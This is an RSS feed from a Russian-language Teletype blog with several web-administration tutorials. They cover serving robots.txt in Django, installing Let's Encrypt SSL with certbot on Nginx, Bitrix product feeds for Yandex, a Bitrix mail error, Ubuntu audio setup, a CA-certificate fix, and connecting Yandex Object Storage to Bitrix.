<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>webkrasavin</title><generator>teletype.in</generator><description><![CDATA[webkrasavin]]></description><image><url>https://img4.teletype.in/files/77/0a/770a3b60-0888-4d5f-b540-a3e515c97f84.png</url><title>webkrasavin</title><link>https://teletype.in/@webkrasavin</link></image><link>https://teletype.in/@webkrasavin?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/webkrasavin?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/webkrasavin?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Mon, 20 Apr 2026 01:01:55 GMT</pubDate><lastBuildDate>Mon, 20 Apr 2026 01:01:55 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@webkrasavin/django-robots-txt</guid><link>https://teletype.in/@webkrasavin/django-robots-txt?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><comments>https://teletype.in/@webkrasavin/django-robots-txt?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin#comments</comments><dc:creator>webkrasavin</dc:creator><title>Создание robots.txt в Django</title><pubDate>Fri, 12 Apr 2024 20:31:42 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/75/e1/75e13406-2a4a-440f-9872-53d86d98079b.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/97/bc/97bcc240-3fa0-4170-bc6d-2c9132c41202.png"></img>]]></description><content:encoded><![CDATA[
  <figure id="uzwh" class="m_original">
    <img src="https://img2.teletype.in/files/97/bc/97bcc240-3fa0-4170-bc6d-2c9132c41202.png" width="898" />
  </figure>
  <p id="uuYY">В settings.py должны быть настроены пути к templates:</p>
  <pre id="YbMD">TEMPLATES = [
    {
        &quot;BACKEND&quot;: &quot;django.template.backends.django.DjangoTemplates&quot;,
        &quot;DIRS&quot;: [BASE_DIR / &quot;templates&quot;],  # new
        &quot;APP_DIRS&quot;: True,
        &quot;OPTIONS&quot;: {
            &quot;context_processors&quot;: [
                &quot;django.template.context_processors.debug&quot;,
                &quot;django.template.context_processors.request&quot;,
                &quot;django.contrib.auth.context_processors.auth&quot;,
                &quot;django.contrib.messages.context_processors.messages&quot;,
            ],
        },
    },
]</pre>
  <p id="hxZP">Создайте в папке templates вашего приложения новый файл robots.txt с тестовым содержимым. Например:</p>
  <pre id="gmuT">User-Agent: *
Disallow: /

Host: site.ru # замените на свой домен</pre>
  <p id="VN5i">Теперь заходим в urls.py и добавляем настройки:</p>
  <pre id="l5MA">from django.contrib import admin
from django.urls import path
from django.views.generic.base import TemplateView  # новый импорт

urlpatterns = [
    path(&quot;admin/&quot;, admin.site.urls),

    # указываем пути, тип контента и шаблон
    path(
        &quot;robots.txt&quot;,
        TemplateView.as_view(template_name=&quot;robots.txt&quot;, content_type=&quot;text/plain&quot;),
    ),
]</pre>
  <p id="APbo">Сохраняем код, запускаем сервер. Теперь у вас есть файл robots.txt</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@webkrasavin/ssl-nginx-django-install</guid><link>https://teletype.in/@webkrasavin/ssl-nginx-django-install?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><comments>https://teletype.in/@webkrasavin/ssl-nginx-django-install?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin#comments</comments><dc:creator>webkrasavin</dc:creator><title>Как поставить SSL на Django + NGINX</title><pubDate>Tue, 05 Mar 2024 10:38:49 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/81/bf/81bf5897-96af-4cda-83e1-b671890f6424.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/d0/25/d0254ac5-1026-4663-b467-9cf73cfed708.png"></img>Чтобы поставить бесплатный SSL от Let’s Encrypt на Django, работающий в связке с Nginx, понадобится совсем немного команд.]]></description><content:encoded><![CDATA[
  <figure id="OLkB" class="m_column">
    <img src="https://img2.teletype.in/files/d0/25/d0254ac5-1026-4663-b467-9cf73cfed708.png" width="1373" />
    <figcaption>Установка SSL Let’s Encrypt на проект с Django Nginx Gunicorn</figcaption>
  </figure>
  <p id="Q7s6">Чтобы поставить бесплатный SSL от Let’s Encrypt на Django, работающий в связке с Nginx, понадобится совсем немного команд. </p>
  <p id="K5KS"><strong>1. Запустить команду установки Cerbot в Ubuntu</strong></p>
  <pre id="Xplw">sudo snap install --classic certbot</pre>
  <p id="9uBr"><strong>2. Выполнить следующую команду, создав символьную ссылку</strong></p>
  <pre id="Rx5t">sudo ln -s /snap/bin/certbot /usr/bin/certbot</pre>
  <p id="h3Ss"><strong>3. Запускаем certbot для автоматической установки SSL</strong></p>
  <pre id="ZyFQ">sudo certbot --nginx</pre>
  <p id="x9dv">Запустится выпуск и установка сертификатов. Сначала в консоли вас попросят указать вашу почту, согласие с правилами, согласие на передачу вашего адреса почты (в Electronic Frontier Foundation, партнёрам Let&#x27;s Encrypt и разработчику Certbot).</p>
  <p id="a83p">Далее выбираете домены из списка, который подтянет установщик из конфигурации nginx. Если нужно выбрать всё, жмите Enter.</p>
  <blockquote id="sEvQ">Команда из 3 пункта делает всё в автоматическом режиме, в том числе внося нужные правки в конфигурацию nginx. Если вы хотите править конфиги nginx вручную, то нужно использовать команду <strong>sudo certbot certonly --nginx</strong>.</blockquote>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="924L">Стоит отметить, что в статье нет никаких команд для Django, так как сертификат выпускается и работает, даже если у вас установлен другой фреймворк.</p>
  </section>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@webkrasavin/yandex-feeds-for-magazine-bitrix</guid><link>https://teletype.in/@webkrasavin/yandex-feeds-for-magazine-bitrix?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><comments>https://teletype.in/@webkrasavin/yandex-feeds-for-magazine-bitrix?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin#comments</comments><dc:creator>webkrasavin</dc:creator><title>Товарный фид для Яндекса в CMS Bitrix</title><pubDate>Thu, 01 Dec 2022 21:14:57 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/7a/36/7a36d0dd-7015-428b-a79f-19da5940d2dc.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/2a/be/2abe7235-0b03-44c3-b6ea-0db04923e21a.png"></img>Недавно Яндекс добавил возможность добавлять фиды товаров чтобы в поиске можно было увидеть расширенный сниппет.]]></description><content:encoded><![CDATA[
  <p id="qxJM">Недавно Яндекс добавил возможность добавлять фиды товаров чтобы в поиске можно было увидеть расширенный сниппет.</p>
  <figure id="umAj" class="m_custom">
    <img src="https://teletype.in/files/2a/be/2abe7235-0b03-44c3-b6ea-0db04923e21a.png" width="616" />
    <figcaption>Пример сниппета полученного с помощью Яндекс Фиды</figcaption>
  </figure>
  <p id="Fqn8">У нас есть три варианта получить подобный сниппет:</p>
  <ul id="fM77">
    <li id="FOrk">добавить выгрузку в Яндекс.Приложения</li>
    <li id="FzM8">подключить турбо-страницы</li>
    <li id="eE8F">подключить Яндекс Маркет</li>
  </ul>
  <p id="7uR0">Опишу только первый вариант, для тех кто не хочет заморачиваться и хочет получить красивый и информативный сниппет. <strong>Подключать будем на Битрикс: Управление сайтом.</strong></p>
  <h2 id="RPPU">Что дадут фиды</h2>
  <p id="JNOv">Основным преимуществом перед конкурентами в поиске - цена, картинка товара, описание из фида. Выдача в поиске будет намного заметнее за счет этого сниппета.</p>
  <p id="a3ZA">Также я заметил следующее: если страницы некачественные или дублируются на поддоменной системе, яндекс все равно закинет страницы в поиск, если подключен фид. Без фида будут свистопляски.</p>
  <h2 id="V2oP">Создание выгрузки</h2>
  <p id="eQBf">Будем использовать модуль <a href="https://marketplace.1c-bitrix.ru/solutions/yandex.market/" target="_blank">Яндекс Маркет для бизнеса</a> от Яндекса. Устанавливаете модуль и выполняете необходимые настройки, после чего модуль появится в левом вертикальном меню.</p>
  <figure id="W6WN" class="m_custom">
    <img src="https://teletype.in/files/55/b0/55b0c0d6-fe78-4273-ab96-863d230bb556.png" width="448" />
  </figure>
  <p id="Z7PD">Нам нужен пункт <strong>Прайс-листы</strong> чтобы создать выгрузку. Открываем, справа кнопочка <strong>Создать прайс-лист.</strong></p>
  <p id="GsRr">При создании называйте прайс-лист более менее понятно, чтобы потом не возникало проблем.</p>
  <figure id="zzJZ" class="m_custom">
    <img src="https://teletype.in/files/10/f5/10f59017-b7c1-4efe-b9a5-a37ce972040e.png" width="1061" />
  </figure>
  <p id="zs8R">В поле Сайт магазина пишите адрес сайта без протокола, если подключен SSL сертификат - ставим галочку. Название файла можно не трогать. Сервис оставляете как есть. Тип описаний я выставлял упрощенный. Название магазина, название компании - указываете своё. Отмечаете для выгрузки инфоблок Каталог товаров.</p>
  <p id="0iRH">Если на сайте есть автоскидки, отмечаете пункт. Обязательно ставим галочку на Обновлять YML автоматически, чтобы цены и прочее обновлялись при изменении на сайте. Период полной выгрузки можно поставить раз в сутки в ночное время, например в 3:00, чтобы сайт не нагружался днём, когда все покупатели активничают на сайте. Жмем далее.</p>
  <figure id="NdBV" class="m_custom">
    <img src="https://teletype.in/files/42/57/42577096-d2a0-4726-ac45-5797f9314827.png" width="1192" />
  </figure>
  <p id="MJi8">Здесь нужно сопоставить поля из YML-файла с полями в вашем магазине. Можете сделать как на скриншоте, такого варианта достаточно, чтобы получить сниппет, который я вам показал в самом начале статьи. Последние два поля param и name можете убрать нажав справа знак минус. Жмём далее.</p>
  <figure id="HrRf" class="m_custom">
    <img src="https://teletype.in/files/80/71/8071a989-83c4-4021-8818-b48b8a35adec.png" width="1066" />
  </figure>
  <p id="NqJI">Настройка условий доставки и выбор товаров. В принципе тут особо можно не заморачиваться, поставить галочку на добавление всех товаров из инфоблока. Доставку можете примерную выставить, всё равно не будет отображаться в поиске Яндекса, даже если ее настроить, она предназначена для Яндекс Маркета, а не для сниппета в поиске, который мы хотим получить.</p>
  <p id="bbiw">Жмем Сохранить и выгрузить. В зависимости от мощности хостинга и размера каталога, у вас через какое-то время сгенерируется ссылка на выгрузку в виде ваш-сайт/адрес-до-файла/файл.xml, его скопируем куда-нибудь, так как мы еще не добавили этот фид в Яндекс.</p>
  <h2 id="aPX4">Добавление фида в Яндекс Приложения</h2>
  <p id="7E8b">Фиды добавляются на стороне Яндекса в <a href="https://turboapps.yandex.ru/console/applications" target="_blank">Яндекс.Приложениях.</a></p>
  <p id="rePW">Переходим туда. Создаем там новый сайт.</p>
  <figure id="C7In" class="m_custom">
    <img src="https://teletype.in/files/da/f2/daf24016-b620-4f2c-a1a0-3e22474ed7fe.png" width="1384" />
  </figure>
  <p id="tfoJ">Тут указываем основной домен (если у вас поддоменная система, все равно указываем основной домен, без поддомена).</p>
  <p id="4Noj">Адрес домена должен быть с протоколом в начале http:// или https:// и заканчиваться /.</p>
  <p id="tq5H">Теперь достаём тот адрес фида, который мы заранее скопировали и вставляем в поле где написано Ссылка на feed.</p>
  <figure id="UM4G" class="m_custom">
    <img src="https://teletype.in/files/98/48/98484650-258a-4c21-8a4e-370e7b8f1357.png" width="1660" />
  </figure>
  <p id="mueE">Тут нужно учесть следующее. Если ваш магазин не использует систему поддоменов, то в поле Регион можно добавить общую выгрузку. Если же есть система поддоменов, то при создании фида в модуле битрикса создаем на каждый ваш город выгрузку, где в адрес сайта при настройках указываем каждый поддомен.</p>
  <h3 id="qxj2">Пример</h3>
  <figure id="ajAH" class="m_custom">
    <img src="https://teletype.in/files/22/95/2295a75c-c9f4-44cb-839e-f4700c4948e9.png" width="1876" />
  </figure>
  <p id="RoYj">У меня система поддоменов на битриксе, я добавил сайт и внутри у меня 92 фида, где 1 фид = 1 городу. На каждый своя выгрузка, то есть у меня 92 прайс листа в модуле Яндекс Маркет для бизнеса, каждый прайс обновляется раз в сутки.</p>
  <h2 id="Winq">Проверки от Яндекса и правила допуска к фидам</h2>
  <p id="XxgG">После подключения фидов, на этом дело не заканчивается. Яндекс проверяет все эти фиды, звонит уточняет наличие притворяясь настоящими покупателями, потом делает офлайн заказ и еще имеет <a href="https://yandex.ru/dev/conversion/doc/concepts/requirement.html" target="_blank">кучу правил</a> для допуска к таким фидам. Почитайте и подготовьтесь, на каждый фид будет пару проверок. Соответственно если фидов на 10 городов - будет 20 проверок. Предупредите отдел продаж, что будут такие звонки. Нет наличия товара - пролёт, отличается цена - пролёт, что-то не так с ценой доставки - пролёт, не ответили на заказ с корзины в течении часа - пролёт. В общем на эту задачу нужно выделять время и терпение.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@webkrasavin/recipients-bitrix-smtpstatus-501</guid><link>https://teletype.in/@webkrasavin/recipients-bitrix-smtpstatus-501?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><comments>https://teletype.in/@webkrasavin/recipients-bitrix-smtpstatus-501?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin#comments</comments><dc:creator>webkrasavin</dc:creator><title>Ошибка recipients bitrix smtpstatus 501 при отправке почты</title><pubDate>Thu, 01 Dec 2022 21:12:22 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/6d/92/6d92c040-d616-46d5-bda2-14bb9e845101.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/24/23/2423db87-9393-4b47-849e-9ffde457565d.png"></img>Если возникла такая ошибка в логах msmtp, которые обычно можно посмотреть в папке /home/bitrix/файл_логов.log.]]></description><content:encoded><![CDATA[
  <h1 id="BSu3">Ошибка recipients bitrix smtpstatus 501 при отправке почты</h1>
  <p id="40Lt">Если возникла такая ошибка в логах msmtp, которые обычно можно посмотреть в папке /home/bitrix/файл_логов.log.</p>
  <figure id="TTKB" class="m_custom">
    <img src="https://teletype.in/files/24/23/2423db87-9393-4b47-849e-9ffde457565d.png" width="1919" />
  </figure>
  <p id="pXI6">Проблема может заключаться в том, что настроенный дефолтный отправитель или отправитель для сайта в BitrixVM не совпадает с отправителем указанным в настройке модулей или конкретном почтовом шаблоне.</p>
  <h2 id="xLxM">Настройка модулей</h2>
  <p id="mhqP">Настройка находится в <strong>Главном модуле</strong>. Почтовый адрес должен совпадать с тем, который настроен для сайта в BitrixVM.</p>
  <figure id="pKtY" class="m_custom">
    <img src="https://teletype.in/files/68/ce/68ce880a-cb50-48b9-9646-d30445e5d61e.png" width="1460" />
  </figure>
  <h2 id="Cnfk">Настройка почтовых шаблонов</h2>
  <p id="ZWq4">Если в BitrixVM адрес отправителя совпадает с отправителем по-умолчанию в настройках главного модуля, проблема может быть в почтовых шаблонах. Например указан другой почтовый ящик.</p>
  <figure id="zju5" class="m_custom">
    <img src="https://teletype.in/files/04/57/04578b84-a840-4e18-96b0-ac169d402c70.png" width="1246" />
  </figure>
  <p id="tE91">Если попробовать отредактировать почтовый шаблон, можно увидеть поле отправителя От кого и Кому.</p>
  <figure id="1SyJ" class="m_custom">
    <img src="https://teletype.in/files/3f/99/3f9922d8-3de0-4b21-b851-8ad2ece65280.png" width="1034" />
  </figure>
  <p id="QNsu">Если указан #DEFAULTEMAIL_FROM#<em>,</em> то скорее всего у вас была проблема с настройкой в главном модуле. Если у вас в поле <strong>От кого</strong> указан другой почтовый ящик, не совпадающий с отправителем по-умолчанию, то укажите переменную #DEFAULTEMAIL_FROM#, тогда будет браться почтовый адрес отправителя из настроек главного модуля.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@webkrasavin/codec-for-ubuntu-21-04</guid><link>https://teletype.in/@webkrasavin/codec-for-ubuntu-21-04?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><comments>https://teletype.in/@webkrasavin/codec-for-ubuntu-21-04?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin#comments</comments><dc:creator>webkrasavin</dc:creator><title>Кодеки для Ubuntu 21.04 и работы видео в Firefox</title><pubDate>Thu, 01 Dec 2022 21:09:37 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e8/54/e8544c15-7a43-49f8-a82a-805bb22935e5.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/ae/55/ae5513a4-b2d9-4c91-af06-b9f956e06686.png"></img>На передней панели системника есть вход. У меня он не работал, хотя передняя панель подключена в материнской плате. Есть быстрое решение, которое решает проблему в большинстве случаев.]]></description><content:encoded><![CDATA[
  <p id="XcBD">На передней панели системника есть вход. У меня он не работал, хотя передняя панель подключена в материнской плате. Есть быстрое решение, которое решает проблему в большинстве случаев.</p>
  <h2 id="6X3B">Ставим пакет pavucontrol</h2>
  <p id="eSGf"><code>sudo apt-get install pavucontrol</code></p>
  <p id="7KP3">После установки будет доступно приложение Регулятор громкости</p>
  <figure id="OXmb" class="m_custom">
    <img src="https://teletype.in/files/ae/55/ae5513a4-b2d9-4c91-af06-b9f956e06686.png" width="1920" />
    <figcaption>Последняя иконка</figcaption>
  </figure>
  <p id="wGMa">Открываем и в пункте <strong>Встроенное аудио</strong> выбираем <strong>Аналоговый стерео выход</strong></p>
  <figure id="mFqh" class="m_custom">
    <img src="https://teletype.in/files/28/30/2830747e-00f4-4abd-8f8a-4037854ed89c.png" width="847" />
  </figure>
  <p id="qCsM">Далее идем в устройства вывода. Там мы видим, что видит наушники <strong>Headphones</strong></p>
  <figure id="2nuP" class="m_custom">
    <img src="https://teletype.in/files/0f/8b/0f8be6e3-53b6-4caa-a030-164a71d2020e.png" width="847" />
  </figure>
  <p id="xjc5">Сначала не понял в чем дело. Нужно включить звук, так как он сейчас заглушен. Нужно нажать на иконку зачеркнутого динамика. На скрине обведен оранжевым цветом. И прибавить звук. Должно всё заработать.</p>
  <p id="bIf5">Если у вас есть другое более простое решение, напишите пожалуйста в комментарии.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@webkrasavin/socket-bitrix-cms</guid><link>https://teletype.in/@webkrasavin/socket-bitrix-cms?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><comments>https://teletype.in/@webkrasavin/socket-bitrix-cms?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin#comments</comments><dc:creator>webkrasavin</dc:creator><title>Решение проблемы работы сокетов Битрикс</title><pubDate>Thu, 01 Dec 2022 21:07:37 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/2c/50/2c50fc1c-9dd7-4503-9842-2884257fa4a7.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/ab/58/ab58b2d6-d86a-4fa5-9e6c-3329dfae31c3.png"></img>Сайт работал на VDS Timeweb по шаблону BitrixVM, всё было ок сайт открывался по https, но никак не решалась проблема с проверкой системы Битрикс. Пробовал править файл /etc/hosts, но результатов не давало.]]></description><content:encoded><![CDATA[
  <p id="yJEc">Сайт работал на VDS Timeweb по шаблону BitrixVM, всё было ок сайт открывался по https, но никак не решалась проблема с проверкой системы Битрикс. Пробовал править файл /etc/hosts, но результатов не давало.</p>
  <p id="C0du">Висели следующие проблемы:</p>
  <ul id="hWTJ">
    <li id="ULlc">Работа с сокетами - Ошибка! Не работает</li>
    <li id="UmG7">Лишний вывод в файлах конфигурации - Замечание. Не удалось проверить из-за ошибки в работе с сокетами</li>
  </ul>
  <p id="Kf0a">Также висели другие ошибки в пунктах: сохранение сессии без UserAgent, размер стека, загрузка файла и другие. Как на скрине ниже.</p>
  <figure id="ET8G" class="m_custom">
    <img src="https://img3.teletype.in/files/ab/58/ab58b2d6-d86a-4fa5-9e6c-3329dfae31c3.png" width="1280" />
  </figure>
  <h2 id="FyUX">Решение</h2>
  <p id="iFnD">У меня стоит Centos 7. Проблема как оказалась из-за устаревших корневых сертификатов Lets&#x27;encrypt.</p>
  <p id="nbFF">Установка пакета ca-certificates и обновление коревого сертификата помогла.</p>
  <p id="opQh"><code>yum install ca-certificates</code></p>
  <p id="NixR"><code>update-ca-trust</code></p>
  <p id="c8xd">После проблема исчезла:</p>
  <figure id="LyQO" class="m_custom">
    <img src="https://img2.teletype.in/files/d5/5f/d55f787b-fe1a-49e8-85a9-dfc4420a264b.png" width="1360" />
  </figure>
  <p id="iiXl">Если помогло, напишите об этом. Если была схожая проблема, но было другое решение, пишите в комментариях.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@webkrasavin/yandex-object-storage-bitrix</guid><link>https://teletype.in/@webkrasavin/yandex-object-storage-bitrix?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><comments>https://teletype.in/@webkrasavin/yandex-object-storage-bitrix?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin#comments</comments><dc:creator>webkrasavin</dc:creator><title>Подключаем Yandex Object Storage к Битрикс</title><pubDate>Thu, 01 Dec 2022 21:06:14 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/a9/a7/a9a7da0d-e088-4d0a-bdf9-b7173c52e38c.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/8d/bc/8dbc89a5-4975-42c3-8e1b-980fe726f44f.png"></img>Пока не так много разработчиков предлагают облачное хранилище. Как я понял, пока облачные хранилища не так популярны в России, но набирают обороты.]]></description><content:encoded><![CDATA[
  <p id="caYR">Пока не так много разработчиков предлагают облачное хранилище. Как я понял, пока облачные хранилища не так популярны в России, но набирают обороты.</p>
  <p id="JSNp">Посмотрел статьи в интернетах и не нашел примера подключения Яндекс Облака в Битриксе, но есть старые гайды 2014 годов с подключением Clodo. Что ж, напишу гайд по Яндекс Облаку, а именно Yandex Object Storage.</p>
  <h2 id="9o7M">Плюсы и минусы облачного хранилища</h2>
  <h3 id="4VcE">Плюсы</h3>
  <ul id="cDti">
    <li id="BirR">Репликация на несколько зон доступности: хранилище в разных географически расположенных местах</li>
    <li id="28cQ">Посекундная тарификация: используешь 3 мб, 3 гб или 30 гб - платишь только за занятое место, получается намного выгоднее чем держать VDS с запасом, который не используешь. <a href="https://cloud.yandex.ru/docs/storage/pricing" target="_blank">Подробнее о тарификации.</a></li>
    <li id="OCpJ">Холодное и горячее хранение: если данные нужно только хранить и редко к ним обращаться, это еще дешевле чем стандартное хранение в Object Storage.</li>
    <li id="l8Lq">Бэкапы хранятся не там где вы их делаете: во-первых так хранить небезопасно, а во-вторых в случае отключения основного сервера можете поднять резервный сервер, а бэкапы как раз доступны!</li>
    <li id="s5p9">Очень высокая степень надежности хранилища УЗ-1, <a href="https://cloud.yandex.ru/docs/overview/security/conform" target="_blank">подробнее тут</a>.</li>
  </ul>
  <h3 id="YqsO">Минусы</h3>
  <ul id="q7rj">
    <li id="HhFk">Вместо одного закрывающего документа у одного хостинг-провайдера нужно будет тратить еще минуту на второго: шучу, конечно оно того стоит и это пустяковый минус</li>
    <li id="IWpB">Минусов не нашел</li>
  </ul>
  <h2 id="xENa">Подготовка Object Storage</h2>
  <p id="MeWh">Заходим на сервис, у вас сразу есть дефолтный каталог сервисов, проваливаемся туда нажав на него.</p>
  <figure id="1De3" class="m_custom">
    <img src="https://teletype.in/files/8d/bc/8dbc89a5-4975-42c3-8e1b-980fe726f44f.png" width="1300" />
    <figcaption>Жмякайте прям на слово default</figcaption>
  </figure>
  <p id="hEIO">У меня уже есть 1 бакет, об этом нас информирует верхняя плашечка. Создадим новый. В списке сервисом жмем на Obgect Storage.</p>
  <figure id="3tXT" class="m_custom">
    <img src="https://teletype.in/files/8e/a1/8ea18298-f8e7-42f5-8929-6bcdca6c255f.png" width="1098" />
  </figure>
  <p id="wetE">Попадаем в пустой список, создаем новый бакет.</p>
  <figure id="4BDU" class="m_custom">
    <img src="https://teletype.in/files/28/3a/283a1873-35aa-45ff-a3cc-7014c5742a30.png" width="1919" />
  </figure>
  <p id="kI7X">Видим страницу параметров для создания бакета.</p>
  <figure id="QrcU" class="m_custom">
    <img src="https://teletype.in/files/41/cd/41cdc61b-4475-4cb2-a1f0-181ec1a9ccd8.png" width="1039" />
  </figure>
  <p id="nOEh">Эти настройки делаем для хранения записей телефонных звонков или бэкапов. Но на стороне битрикса чуть-чуть настройки отличаются. В общем даем название бакету, например crm24-mp3-file-backup чтобы было понятно что у нас там хранится. В общем создали бакет.</p>
  <p id="EH4f">Просто создать бакет недостаточно, еще нужно создать статический API ключ для Object Storage, это делается в вкладке &quot;Сервисные аккаунты&quot;. Сейчас покажу где это.</p>
  <figure id="bG2t" class="m_custom">
    <img src="https://teletype.in/files/5b/2c/5b2c4527-bfa9-4d29-af8b-a194a6e5df4e.png" width="1287" />
    <figcaption>Находится на странице Дашборд каталога.</figcaption>
  </figure>
  <p id="VkFQ">Открыв будет пустой список аккаунтов. Создадим новый.</p>
  <figure id="upkG" class="m_custom">
    <img src="https://teletype.in/files/ad/2f/ad2fa56c-67e4-4336-87f5-36df775987d0.png" width="1919" />
  </figure>
  <p id="HgLL">Имя можете дать новому аккаунту любое, но только латинскими цифрами и буквами. Называете исходя из задач, так как облако можно использовать по-разному, иметь одного пользователя на все задачи, на несколько или на одну. Я назвал задачу в рамках одной задачи, чтобы было понятно для чего был создан аккаунт.</p>
  <p id="ZZ8I">Добавляете роль, например storage.admin. Создаем. Открываем созданный сервисный аккаунт. Видим кнопку <strong>Создать сервисный ключ</strong>.</p>
  <figure id="TcnT" class="m_custom">
    <img src="https://teletype.in/files/81/5a/815aad57-f4bf-4228-b2be-4529c9b13ffe.png" width="1919" />
  </figure>
  <p id="CUU0">Создаем статический API-ключ, даже пометка есть к чему он подойдет.</p>
  <figure id="vDOt" class="m_custom">
    <img src="https://teletype.in/files/d2/46/d2466e78-148e-4eaf-91a5-1682c1c42b40.png" width="1007" />
  </figure>
  <p id="dRu1">В описание ключа пишем подробности, для чего выдан этот ключ, например &quot;Для выгрузки телефонных звонков/бэкапов в Object Storage&quot;.</p>
  <p id="2wKJ">Создаем. И тут важный момент. Ключ доступа нам показывают один раз. <strong>Сохраните его в свой KeePass или другую надежную систему хранения доступов, обязательно.</strong> Ключ не должен попасть в чужие руки и не должен быть в открытом доступе.</p>
  <figure id="zUh6" class="m_custom">
    <img src="https://teletype.in/files/f9/59/f95924c6-fa82-48f0-86a3-56d4f08de36c.png" width="1200" />
  </figure>
  <p id="poCn">Ключ создали. Идем в Object Storage, где мы создали бакет. Нужно &quot;прикрепить&quot; этот сервисный аккаунт с доступом к бакету.</p>
  <figure id="xBKo" class="m_custom">
    <img src="https://teletype.in/files/d5/70/d570b86e-2b0a-42ad-9b0d-966f37b29959.png" width="963" />
  </figure>
  <p id="SjnQ">В списке бакетов жмем на три точки, видим пункт <strong>ACL бакета</strong>. Жмем.</p>
  <figure id="1FbZ" class="m_custom">
    <img src="https://teletype.in/files/fa/6c/fa6c0b7d-7420-4490-b73a-29713eae0e9b.png" width="880" />
  </figure>
  <p id="s44i">Выбираем сервисный аккаунт. Выбрали. Справа с кнопкой добавить написано READ. Думаю нет смысла объяснять зачем это. Выбираем <strong>FULL_CONTROL</strong>.</p>
  <p id="dYU9">Жмем напротив <strong>Добавить</strong>, а только потом <strong>Сохранить</strong></p>
  <h2 id="PLyt">Настройка Битрикс</h2>
  <p id="vYn0">Хранилище настроено. Теперь идём в битрикс чтобы подключить его. Заходим в панель управления Битрикс24 или Битрикс Управление сайтом.</p>
  <figure id="amai" class="m_custom">
    <img src="https://teletype.in/files/79/e7/79e74edd-d1da-492b-8d06-af85d48ba53f.png" width="1198" />
    <figcaption>В настройки</figcaption>
  </figure>
  <figure id="nS0s" class="m_custom">
    <img src="https://teletype.in/files/4e/c2/4ec2e84c-b60c-41e5-8b62-99b5c5232819.png" width="649" />
    <figcaption>В списке находим<strong> Облачные хранилища</strong></figcaption>
  </figure>
  <p id="UC8G">Добавляем облачное хранилище.</p>
  <figure id="OZNU" class="m_custom">
    <img src="https://teletype.in/files/8f/6d/8f6df726-6e52-4d23-b044-0bc359b949fb.png" width="1919" />
  </figure>
  <p id="XRo7">Выбираем провайдера Yandex Object Storage.</p>
  <p id="BUaZ">Используем ключ доступа и секретный ключ которые нам выдали при создании доступа к сервисному аккаунту.</p>
  <figure id="dBUq" class="m_custom">
    <img src="https://teletype.in/files/8c/71/8c71a118-ba90-46b4-a29f-24efb4ed5f3c.png" width="1168" />
  </figure>
  <p id="RqKZ"><strong>Важно!</strong> Вам сразу сгенерировался контейнер в виде <strong>upload-блаблаблабла</strong>. Если вы создали бакет, указываем имя этого бакета, иначе при подключении вам создадут новый бакет с сгенерированным названием.</p>
  <figure id="0ETF" class="m_custom">
    <img src="https://teletype.in/files/11/61/1161e599-51fc-48b4-b292-c1902478bcf9.png" width="1269" />
    <figcaption>Вот эти названия!</figcaption>
  </figure>
  <p id="oWwy">Заполнили доступ, но еще <strong>НЕ сохраняем</strong>.</p>
  <p id="47Mn">Есть важная настройка в вкладке <strong>Правила</strong>.</p>
  <figure id="czxn" class="m_custom">
    <img src="https://teletype.in/files/fb/b8/fbb88ece-259a-41f9-84f0-fa20a10a2133.png" width="1436" />
  </figure>
